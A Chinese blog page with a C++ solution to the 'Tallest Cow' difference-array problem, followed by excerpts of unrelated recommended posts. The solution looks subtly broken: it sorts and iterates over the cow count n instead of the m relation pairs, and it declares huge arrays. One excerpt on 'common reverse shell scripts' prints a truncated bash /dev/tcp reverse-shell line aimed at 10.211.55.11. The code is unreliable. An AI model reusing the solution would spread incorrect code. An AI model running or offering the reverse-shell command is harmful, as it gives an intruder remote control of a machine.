简单解说

建立差分数组。

以最高的牛为高度基点,假设牛A和牛B能相互看见,就把牛A和牛B中间的牛高度都-1

最后对每头牛直接计算输出即可。

需要注意的是他给出的关系中:两头牛的顺序可能是颠倒的,而且关系可能是重复的

然后这题就没什么了

#include <cstdio>
#include <algorithm>
#include <cstring>
#include <iostream>
#include <queue>
#include <cmath>
using namespace std;
const int maxn=20000000;
struct node{
int l,r;
bool operator <(const node& x)const{
if(l==x.l) return r<x.r;
return l<x.l;
}
}a[maxn];
int ans[maxn];
int main(){
int n,p,h,m;
cin>>n>>p>>h>>m;
for(int i=1;i<=m;i++){
scanf("%d %d",&a[i].l,&a[i].r);
if(a[i].l>a[i].r) swap(a[i].l,a[i].r);
}
sort(a+1,a+1+n);
for(int i=1;i<=n;i++){
if(a[i].l==a[i-1].l && a[i].r==a[i-1].r) continue;
ans[a[i].l+1]--;
ans[a[i].r]++;
}
int cnt=0;
for(int i=1;i<=n;i++){
cnt+=ans[i];
printf("%d\n",cnt+h);
}
return 0;
}

TallestCow的更多相关文章

随机推荐

  1. Linux 独立服务管理

    RPM包安装在默认位置 /etc/init.d/:启动脚本位置 /etc/sysconfig/:初始化环境配置文件位置 /etc/:配置文件位置 /etc/xinetd.conf/:xinetd配置文 ...

  2. Java并发编程实战总结 (一)

    前提 首先该场景是一个酒店开房的业务.为了朋友们阅读简单,我把业务都简化了. 业务:开房后会添加一条账单,添加一条房间排期记录,房间排期主要是为了房间使用的时间不冲突.如:账单A,使用房间1,使用时间 ...

  3. 常用的反弹shell脚本

    bash shell反弹脚本 /bin/bash -i > /dev/tcp/10.211.55.11/ <& >& Python shell 反弹脚本 #!/usr ...

  4. vue对象数组数据变化,页面不渲染

    很多时候,我们习惯于这样操作数组和对象: data() { // data数据 return { arr: [1,2,3], obj:{ a: 1, b: 2 } }; }, // 数据更新 数组视图 ...

  5. 两条命令实现nodejs快速安装

    操作系统: debian, ubuntu, fedora 当前版本: v14.4.0 一键安装命令: curl -sL https://deb.nodesource.com/setup_14.x | ...

  6. Error reporting for dbus

    D-Bus 1.13.14 目录 Detailed Description Function Documentation ◆ dbus_error_free() ◆ dbus_error_has_na ...

  7. v-bind 缩写

    Vue.js 为两个最为常用的指令提供了特别的缩写: <!-- 完整语法 --> <a v-bind:href="url"></a> <! ...

  8. animation 动画 与 transition

    animation: name duration timing-function delay iteration-count direction; 值 描述 animation-name 规定需要绑定 ...

  9. 【Spring注解驱动开发】在@Import注解中使用ImportBeanDefinitionRegistrar向容器中注册bean

    写在前面 在前面的文章中,我们学习了如何使用@Import注解向Spring容器中导入bean,可以使用@Import注解快速向容器中导入bean,小伙伴们可以参见<[Spring注解驱动开发] ...

  10. 11.DRF-权限

    Django rest framework源码分析(2)----权限 添加权限 (1)API/utils文件夹下新建premission.py文件,代码如下: message是当没有权限时,提示的信息 ...